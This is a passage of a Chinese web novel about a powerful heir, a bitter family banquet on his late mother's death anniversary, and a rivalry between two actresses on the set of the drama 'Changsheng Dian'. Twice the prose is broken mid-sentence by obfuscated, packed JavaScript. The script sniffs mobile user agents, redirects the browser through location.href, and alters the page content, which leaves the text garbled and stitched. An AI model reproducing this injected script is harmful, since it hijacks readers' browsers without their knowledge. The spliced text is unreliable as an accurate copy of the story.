谈夏感到纳闷,嘀咕,“那你干嘛要让祝诗意演《长生殿》,你都不去看人家拍戏,也没见你主动联系过人家。” 她哥这到底是喜欢呢,还是不喜欢呢? 闻言,谈惟瑾抬眉望了眼谈夏,不怒自威的神色令谈夏瞬间噤若寒蝉。谈夏跳下沙发,丢下一句,“不去就不去,哥你说什么就是什么”,匆匆忙忙逃了。 谈惟瑾静了半晌,他点开祝诗意的朋友圈,里面依旧没有一点动静。 自从他加上祝诗意的联系方式,这期间祝诗意就只在除夕夜那天发了张年夜饭的合照,除此以外再没发过别的什么。 大年初六。 今天是谈夏最不喜欢的日子,因为每年这个时候沉海院内都会来很多人,那些叫得出名字叫不出名字的亲戚,谈夏实在不愿意多费功夫应付这些人。 客人差不多都到齐了,谈惟瑾却迟迟没下来。 谈夏壮着胆子来到楼上请谈惟瑾,她试着敲了下门,门是半掩着的,她轻轻一推就打开了。 “哥你……” 看清谈惟瑾在做什么,才发出两个字节的谈夏立即捂住自己的嘴巴。 险些忘了。 大年初六对旁人来说或许是一个再普通不过的休息日,但于谈惟瑾而言,这是他曾经的噩梦。 大年初六是谈惟瑾生母,也就是谈云安原配妻子——陈时晚的忌日。 准确来说,是陈时晚当着谈惟瑾的面自杀的日子。 陆子衿是在陈时晚过世后被谈云安娶进门的,她和谈云安相识较晚,因此不存在“小三上位”“未婚先孕”等诸如此类的丑闻,而是豪门世家再正常不过的续弦。 出于某些缘由,陈时晚的事情早就成为了谈家人不能提及的禁忌,所以谈夏并不了解这个只活在某些吉光片羽中的女人。 也就不记得她的忌日。 谈征早就下令谈家不许再提起陈时晚这三个字,更不允许家里放陈时晚的牌位,而谈惟瑾也只有在今天会将母亲的遗照和牌位摆出来。他站在母亲的遗像前,为她点燃三炷香插在香炉里,但谈惟瑾并没有对着照片中眉眼含笑的女人鞠躬,他只是静静地望着她。 谈夏立在门口,大气都不敢出,唯恐惊扰了兄长祭拜。 那香燃了大半,缭绕的灰色烟尘让黑白照中的女人显得更加朦胧遥远,谈惟瑾的目光也随之变得深不可测。终于,三炷香彻底熄灭,谈惟瑾将香炉内的灰倒进了垃圾桶。所有东西重新被收回箱子,箱子外落一把重重的锁。 沉海院困了陈时晚前半生,而后半生也被严严实实地锁在里面。 一年仅一次重见天日的机会。 谈惟瑾洗干净手,走过来,口吻平淡,“走吧。” “嗯。” 楼梯下了一半,谈夏看着谈惟瑾的背影,小心翼翼地问:“哥……你还好吗?” 她属实没想到兄长还惦记着祭拜陈阿姨。 若换做是她,谈夏只会一辈子恨她入骨。 谈惟瑾像是没听到谈夏问什么似的,他抬腿走到主位,从容地坐下。 老爷子没回来,谈云安又在单位,谈惟瑾便是席间身份最高的那一位,他坐主位无可厚非。 倒是有人在谈惟瑾坐下时阴阳怪气地哼了一口气,说:“年龄不大,谱倒不小,叫我们这么多人好等。” 谈夏忍不住为那人捏了一把冷汗。 说话的人是他们的大伯谈云久,正是当初和谈云安争家产的人。 老爷子谈征偏心谈云安,更偏心谈惟瑾,有什么好东西都紧着谈云安父子。谈云久对此敢怒不敢言,日夜盼着谈云安父子登高跌重,把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14618148|156057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家产从他们那儿抢回来。 好不容易等到那件事发生,谁知不到一年的时间谈云安又娶了陆子衿进门,陆家成为谈云安的新助力,谈云久彻底败下阵。 但这么多年来谈云久内心始终憋着一股气,有事没事就刺两下。 谈惟瑾神色如常,摆手招呼周伯过来布菜,道:“开饭吧。” 谈夏紧绷的那根弦蓦地松了许多,她和谈宜苇位置挨在一起,有谈宜苇作伴,谈夏就也没那么坐立难安。 虽然大伯不是个东西,不过谈宜苇心性却是好的,谈夏和谈宜苇同岁,两个人还算能玩到一起。 谈夏戳了戳谈宜苇胳膊,窃窃私语:“大伯怎么敢的?明明这么多年就没见他在嘴皮子上赢过谁。” “嗨,我爸他就那样,别理他。” 谈宜苇无所谓地耸耸肩。 见在场没有一个人搭理他,谈云久略有不甘。他握紧拳头,忽然阴惨惨地笑了下,左看看右看看,说:“贤侄方才耽搁了那么长时间,该不会是想那个人了吧。可惜啊,金童玉女最后沦为笑柄,家里连张照片都不能摆。” 空气骤然一冷,谈夏起了一身的鸡皮疙瘩,谈宜苇也忍不住皱眉:“不作死就不会死……” 在场所有人都知道谈云久口中的“那个人”指的是谁。 大家面色各异,有在内心责怪谈云久没事找事非要多嘴的,有表面担忧实则等着看笑话的,还有像谈夏这样实打实关心哥哥的。 谈征不在家,陆子衿出来打圆场,她笑了笑,倒上酒,“这还没喝多少呢,大哥怎么就醉成这样。” 陆子衿给谈云久的妻子宁亦华使了个颜色,却不知为何,以往都会劝着说两句的宁亦华忽然偏过头去,与陆子衿错开目光。 陆子衿倒酒的动作亦是一顿。 谈云久的嘴巴张得更大了些,语气也更狂,“到底是我喝醉了,还是有些人眼瞎,我想各位比我清楚。” “砰”。 谈夏的心高高吊起来,她紧张地看向兄长。 谈惟瑾抚摸着扳指,冷着声说:“大伯要是不愿意吃这顿饭,大可以现在就滚。我也好让周伯和保镖说一声,从此以后谈氏集团任何地盘,谈云久与狗不得入内。” 公开羞辱。 谈云久涨红了脸,额上青筋暴起,他重重地拍了下桌子,站起来吼:“谈惟瑾!你别以为掌权了就能这么跟我说话。我告诉你,不管走到哪儿我都是你大伯!还轮不到你一个臭小子来教训我。” “我有没有资格教训你,你很快就知道了。” “你什么意思?!” 谈惟瑾没有回答,而是重新执起筷子,夹了一块白玉豆腐放入口中。 谈宜苇撇撇嘴,说:“爸……今天家宴,你少说两句。” “你妈都不敢说话,要你来管老子?!” 谈云久怒道。 这顿饭吃得谁都不愉快。 反而是处于风暴中心的谈惟瑾无比从容。 「准备进组啦,祝我好运。」 饭后,谈惟瑾看到祝诗意刚发的朋友圈,他评论:“好运。” 五分钟后,谈惟瑾接到了来自祝方砚的夺命连环call:“谈惟瑾你居然认识那个小姑娘!快告诉我她是谁?!” 14.陷(4) “什么小姑娘?” “就是你刚才评论好运的小姑娘啊!别给我装傻,快点告诉我她叫什么名字。” “你都不知道她叫什么名字,哪儿来的她微信?” “碰瓷来的。呸,我跟你说正经的呢。和这个小姑娘有关的事情你还知道什么?快都告诉我。” 谈惟瑾闻言微微蹙眉,向来运筹帷幄的祝方砚可极少会用这种迫不及待的语气和人说话。 “怎么,你想追她?” 他问道。 祝方砚沉默了一下,才说,“谈惟瑾,有病就去治。” “没病,也没有你想知道的东西,挂了。” 谈惟瑾挂得干脆利落,祝方砚盯着手机屏幕,瞪大眼睛,愤怒地给谈惟瑾发了许多串问号过去。 「再发拉黑。」 「算你狠。」 祝方砚深吸两口气,回过神才想起来他和谈惟瑾认识这么多年了,从来没听谈惟瑾提起过那个小姑娘,这也是他第一次见谈惟瑾给那个小姑娘点赞评论,说不定谈惟瑾和他一样也是最近才认识对方的呢? “哥哥,你在想什么呢?” 祝依然瞧见她哥的脸色变了又变,和春晚的变脸大戏有得一拼,她提着一盏嫣红色的灯笼,走过来问。 “没什么。” 祝方砚把手机揣回外套兜里,抬手摸摸祝依然头发,问,“过两天你是不是要进组拍戏了?” “嗯,就是我和你说过的那部叫《长生殿》的戏。” “挺好的,还是女一吗?” “不是。” 说到这儿,祝依然的口吻里带了几分失落,她垂下眼,神色黯淡地说,“是女二号,不过戏份不少,而且我也挺喜欢这个角色的。” “你喜欢就好,不管是女一还是女二,在我看来你都是最棒的。” “谢谢哥哥!”祝依然盈盈一笑,略带希冀地问,“那哥哥到时候会来剧组探班吗?” “有空就去看你。” 祝方砚没有给出确定的答案,只温和地说。祝依然听了,她嘴角笑容不变,“那我就等哥哥的好消息了。” “我还有点文件要处理,先回书房了。外面冷,你也别待太久。” “好,我知道了哥哥。” 祝方砚说完就离开了,祝依然目送祝方砚进入别墅内部,她才恢复成往日里冷淡的神色,随手把灯笼丢给身边的下人。 “拿去扔了。” “是,小姐。” 祝依然拿出手机翻了翻聊天记录,猛地意识到哥哥似乎已经很久没有主动给她买过礼物了。这几个月来每次都是她看上了什么东西央求祝方砚给自己买,诚然只要祝依然开口,祝方砚一定不会拒绝,可主动索取来的与哥哥送的到底有区别。 祝依然没来由觉着哥哥仿佛没有从前那么在乎自己了,有什么改变在她不知道的时候悄然发生,而她怎么也抓不住,正如指尖逝去的流沙。 祝依然不喜欢这种事情超脱自己掌控的感觉。 她脸色沉下来,不一会儿也回到房间。 《长生殿》即将开拍,女主角还是她曾经视为劲敌的祝诗意,一想到《长生殿》这种大制作很有可能让祝诗意一飞冲天艳压自己,祝依然就感到一阵心烦意乱。她翻了翻被随手丢在床头柜的剧本,目光停留在某一页的几行铅字上,祝依然有了主意。 - 祝依然愿意出演《长生殿》的女二号景和公主,祝诗意一点也不意外。 《长生殿》官宣以前,祝依然也和蒋谌一样频繁上热搜造势。什么#天选昭昭##昭昭从故事里走出来了##我就要看这样的昭昭#……一个词条接着一个词条炒作。 为了配合炒作,工作室甚至特意为祝依然拍了几套古装写真,连她拍摄穿的服装都是照着昭昭在书中的描写定制的。 就差没把“我要演昭昭”五个大字刻在祝依然脑门上了。 再加上祝依然在圈内的人设本就是富家千金任性逐梦演艺圈,背景出了名的硬,因此不少人理所当然地以为祝依然一定能拿下初昭这个角色。 谁知道半路杀出来一个祝诗意。 没名气就算了,还和她们家姐姐一个姓,抢走了她们家姐姐的资源,粉丝们只觉得晦气。 官宣当晚在祝诗意广场闹事最多的就是祝依然粉丝,她们伪装成各路单纯网友,甚至不惜披着对家的皮明里暗里带节奏造谣。 谈氏集团法务部的陈岩听了谈惟瑾的命令,一口气抓出了好多毒瘤祸害,排队挨个送起诉书。 祝依然的粉丝见祝诗意竟也是个不肯忍气吞声的,不少同担都吃了官司,剩下的人不禁老实许多,没敢再造祝诗意黄谣。 但两家的梁子算是彻底结下了。 祝诗意本来就没几个活粉,这两个月她靠官宣剧照和几个vlog花絮吸了一波颜粉,但还没到死忠的地步。况且祝诗意粉丝总数连祝依然粉丝数的零头都比不上,当两家杠上的时候,祝诗意的粉丝只剩被按在地上摩擦的份儿。 这些祝诗意都知道。 祝依然自然也清楚。 “诗意,真没想到会和你拍同一部戏。” 众目睽睽之下,祝依然笑着向祝诗意伸手。 是,你当然没想过要和我演同一部戏,因为但凡是你当女主角,第一步肯定是把我从剧组赶出去。 祝诗意腹诽。 “祝小姐,我们都做了两三年的同事了,祝小姐怎么说得我们两个像是第一天才认识?” 祝诗意没有搭理那只伸过来的手,她越过祝依然,径直向休息区走过去。 就这样被忽略,祝依然脸上一点尴尬的表情都没有,她淡定地收回手,朝围在周围的各位点了点头。 “诗意就是这个性格,好啦,大家该忙什么就忙什么去吧。” 围观群众三三两两地窃窃私语着,“这就是那个新人吗?她好大的脸啊,连祝依然的面子都不给。” “人家祝依然可是现在最热的小花,她算什么东西,以为自己演了一次女主角就能一飞冲天了?” “长得也就那样吧,脾气又不好,真不知道导演看上她什么了。” …… 祝依然听到这些讨论,唇角稍稍勾起。 祝诗意却全然不在意,仿佛身处舆论中心的那个人不是她。此时的祝诗意正拿着剧本向《长生殿》男主角,也就是影帝陈从之虚心请教。 陈从之今年二十八岁,他出道十二年,电视剧方面该拿的能拿的奖项基本都拿过了,是当之无愧的影帝。 祝诗意无戏可拍的时候就会在家里看陈从之出演的电视剧,遇到精彩的片段不仅会反复观看,还会沉浸式代入角色,假装自己就是电视剧里的女主来和陈从之对戏。 祝诗意在陈从之身上学到了很多表演方面的知识,她完全是把陈从之当老师来看待的。 所以才会一逮着机会就来求教。 然而她这副模样落在旁人眼中就成了不知廉耻地勾搭影帝。 “我呸,还以为是多清高的新人,结果一来就贴着我们影帝不放。” “就是,刚才依然跟她打招呼她都不理人家,现在又跑去拍陈影帝马屁,你看她笑得那么开心,谁知道都和陈影帝说了什么。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14630397|156057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “哎,能和祝诗意玩到一起的能是什么好人,我感觉我快要对影帝下头了。” “也不知道导演怎么就找了这么一个货色,我看《长生殿》要完。” 莫嘉蓝得了祝诗意的指令,特地给剧组包括演职人员在内的所有工作人员都点了奶茶。跑腿的外卖员进不来片场,莫嘉蓝这会儿正哼哧哼哧地往片场搬运奶茶,结果就听见这两个人站在树底下嘲讽她老板。 “你们说什么呢!谁教你们这么空口白牙污蔑别人的?!” 莫嘉蓝被这些话气得满脸涨红,她指着这两个人,怒气汹汹地开口质问。 离得近的工作人员听见树底下的动静,不由得望过来。 那两个人脸上一阵红一阵白的,纷纷矢口否认,“我们两个有点累了,站在这儿休息一会儿聊会儿天而已,怎么就污蔑别人了?你有证据吗?你要是拿不出证据,我看你才是污蔑吧!” “就是!还是说你跟你们老板一样,上梁不正下梁歪?” 莫嘉蓝没遇到过这种情况,三两句话就被对方颠倒是非黑白,她更气了,“你们两个明明是敢做敢不敢当!我要是有证据,一定第一时间拖着你们两个给我老板道歉!” “小莫。” 祝诗意走过来,拍拍她肩膀,问,“奶茶都买回来了吗?” “都买回来了,老板。” “嗯,”祝诗意扫了眼摆在桌上满满当当的纸袋,说,“拿去给大家分了吧。她们两个的直接喂狗,当然要是还有别人不想喝,也都直接喂狗,不用问我。” “好的老板。” “你骂谁是狗呢!” 浅蓝色羽绒服的女孩恼羞成怒地大声问道。 祝诗意回头看她一眼,“谁应谁是狗咯。” “祝诗意我告诉你你别得意!你连我们依然一根头发丝都比不上!我们走着瞧!” 祝诗意轻笑,呵,原来还是祝依然的狗。 挺忠心啊。 - “今天拍摄怎么样?” 谈惟瑾回来得比平常都早一些,坐在沙发上看报纸。 忙了一天的谈夏拖着沉重的脚步进门,有气无力地回道,“好累啊。” “哥,你不是不想去探班吗?怎么还关心我拍摄。” “两回事。” “哦,”谈夏瘫在沙发上,坐没坐相,她灌了一大口水,说,“还行,挺顺利的。就是我的女主角和人起了点冲突,问题不大。” “她和人起冲突了?和谁?” 谈惟瑾放下报纸,看过来。 “那个谁……就是你好兄弟祝方砚的妹妹祝依然。诶哥,说来也巧啊,我的女一号和女二号居然都姓祝。” “为什么起冲突?” “嗨,你可能不知道,祝依然一直想要昭昭这个角色,为此热搜都买了八百个了。结果女主角不仅不是她,还是几乎没什么名气的同事,你说她能不气吗?祝依然气,她的追随者也气,那不就对诗意不利。” “是么。” 不知是不是她的错觉,谈夏感觉自家兄长说完这两个字以后,客厅里的温度忽然低了很多。 “哥我先去睡觉了,明天还要一大早起来赶工呢。” “当导演好累,大导更累。” 妹妹的声音飘远了,谈惟瑾还在沙发上坐着。暖黄色的灯光笼罩着他半个身子,但未能褪去谈惟瑾周身的冰冷,他给祝方砚发了条消息: 「管好你妹妹。」 否则他不介意出手教训她。 祝方砚:「?」 祝方砚:「谈惟瑾,你吃错药了?」